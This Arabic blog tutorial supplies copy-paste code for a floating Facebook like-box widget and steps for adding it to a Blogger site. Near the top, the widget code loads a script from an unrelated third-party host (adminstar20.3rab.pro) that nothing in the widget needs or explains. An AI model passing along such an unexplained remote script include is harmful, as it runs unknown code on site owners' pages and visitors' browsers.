أضافة كود معجبين الفيس بوك علي جانب الصفحة عائم في الموقع او المدونة

بسم الله الرحمن الرحيم

الموضوع عن : أضافة كود معجبين الفيس بوك علي جانب الصفحة عائم في الموقع او المدونة

معاينة صورية

الكود

<div class="widget-content">
<script type="text/javascript" src="http://adminstar20.3rab.pro/10969.js"></script>
        <style type="text/css">
        img, a { border: 0; }
        #likebox_1 {
            z-index: 10005;
            border:2px solid #3c95d9;
            background-color: #fff;
            width:196px;
            height: 353px;
            position: fixed;
            top: 18%;
            right: -200px;
        }
        #likebox_1_1 {
            width:196px;
            height: 353px;
            overflow: hidden;
        }
        #likebox_1 img {
            position: absolute;
            top: -2px;
            left: -35px;
        }
        #likebox_1 iframe {
            border:0px solid #3c95d9;
            overflow: hidden;
            position: static;
            height: 360px;
            left:-2px;
            top:-3px;
        }
        #polecam_1 {
            z-index: 10004;
            border:2px solid #6CC5FF;
            background-color: #6CC5FF;
            width:246px;
            height: 353px;
            position: fixed;
            top: 35%;
            right: -250px;
        }
        #polecam_1_1 {
            width:246px;
            height: 353px;
            overflow: hidden;
        }
        #polecamy_img {
            position: absolute;
            top: -2px;
            left: -35px;
            border: 0;
        }
        #google_1 {
            z-index: 10003;
            border-top:2px solid #0056a0;
            border-bottom: 2px solid #0056a0;
            border-right:2px solid #0056a0;
            border-left: hidden;
            background-color: #006ec9;
            width:152px;
            height: 97px;
            position: fixed;
            top: 52%;
            right: -154px;
        }
        #google_1_1 {
            width:152px;
            height: 97px;
            overflow: hidden;
        }
        #google_img {
            position: absolute;
            top: -2px;
            left: -33px;
            border: 0;
        }
        #youtube_1 {
            z-index: 10003;
            border:2px solid #cb1c0e;
            background-color: #fff;
            width:196px;
            height: 353px;
            position: fixed;
            right: -200px;
        }
        #youtube_1_1 {
            width:196px;
            height: 353px;
            overflow: hidden;
        }
        #youtube_1 img {
            position: absolute;
            top: -2px;
            left: -35px;
        }
        </style>
        <div id="likebox_1" style="right: -200px;">
<div id="likebox_1_1">
        <img src="http://i45.servimg.com/u/f45/16/75/43/85/fb110.png" alt="" />
        <script>(function(d){
          var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
          js = d.createElement('script'); js.id = id; js.async = true;
          js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
          d.getElementsByTagName('head')[0].appendChild(js);
        }(document));</script><div class="fb-like-box fb_iframe_widget" data-href="http://www.facebook.com/ashb7a       " data-width="200" data-height="356" data-show-faces="true" data-stream="false" data-header="false" fb-xfbml-state="rendered" fb-iframe-plugin-query="app_id=306360102819044&header=false&height=356&href=http%3A%2F%2Fwww.facebook.com%2FTv3rby%0A%20%20%20%20%20%20%20%20&locale=ar_AR&sdk=joey&show_faces=true&stream=false&width=200">
<span style="vertical-align: bottom; width: 200px; height: 356px;"><iframe name="f29b1b0efc" width="200px" height="356px" frameborder="0" allowtransparency="true" scrolling="no" title="fb:like_box Facebook Social Plugin" src="http://www.facebook.com/plugins/like_box.php?app_id=306360102819044&channel=http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D40%23cb%3Df37279d86c%26domain%3Dtv3rby.blogspot.com%26origin%3Dhttp%253A%252F%252Ftv3rby.blogspot.com%252Ff2e0e9a138%26relation%3Dparent.parent&header=false&height=356&href=http%3A%2F%2Fwww.facebook.com%2FTv3rby%0A%20%20%20%20%20%20%20%20&locale=ar_AR&sdk=joey&show_faces=true&stream=false&width=200" style="border: none; visibility: visible; width: 200px; height: 356px;" class=""></iframe></span></div>
</div>
</div>

</div>

التغيرات : تغير أبحث عن كلمة : ashb7a
وضع أسم صفحتك

كيفية أضافة الكود
أذهب الي بلوجر
https://www.blogger.com
ثم تخطيط ثم أضافة أداة ثم
HTML/JavaScript

وضع الكود ثم حفظ

تم بحمد الله

شارك الموضوع معه أصدقائك

هناك تعليق واحد:

رد

Unknown حذف 16 يناير 2016 في 10:02 م

أزال أحد مشرفي المدونة هذا التعليق.

علق لكن حظر من قول :( ما يلفظ إلا لديه رقيب عتيد )
_
عزيزي الزائر لضمان عرض تعليقق لا تعرض أرقام هواتف أو روابط أعلانية أو صور أباحيه
_ ملحوظة : ضع المؤشر للأستخدام التعبيرات _
المسموح به هو عرض رابط مدونتك لتعرض المشكلة به أو رابط صورة للمشكلة
الأبتساماتأخفاء الأبتسامات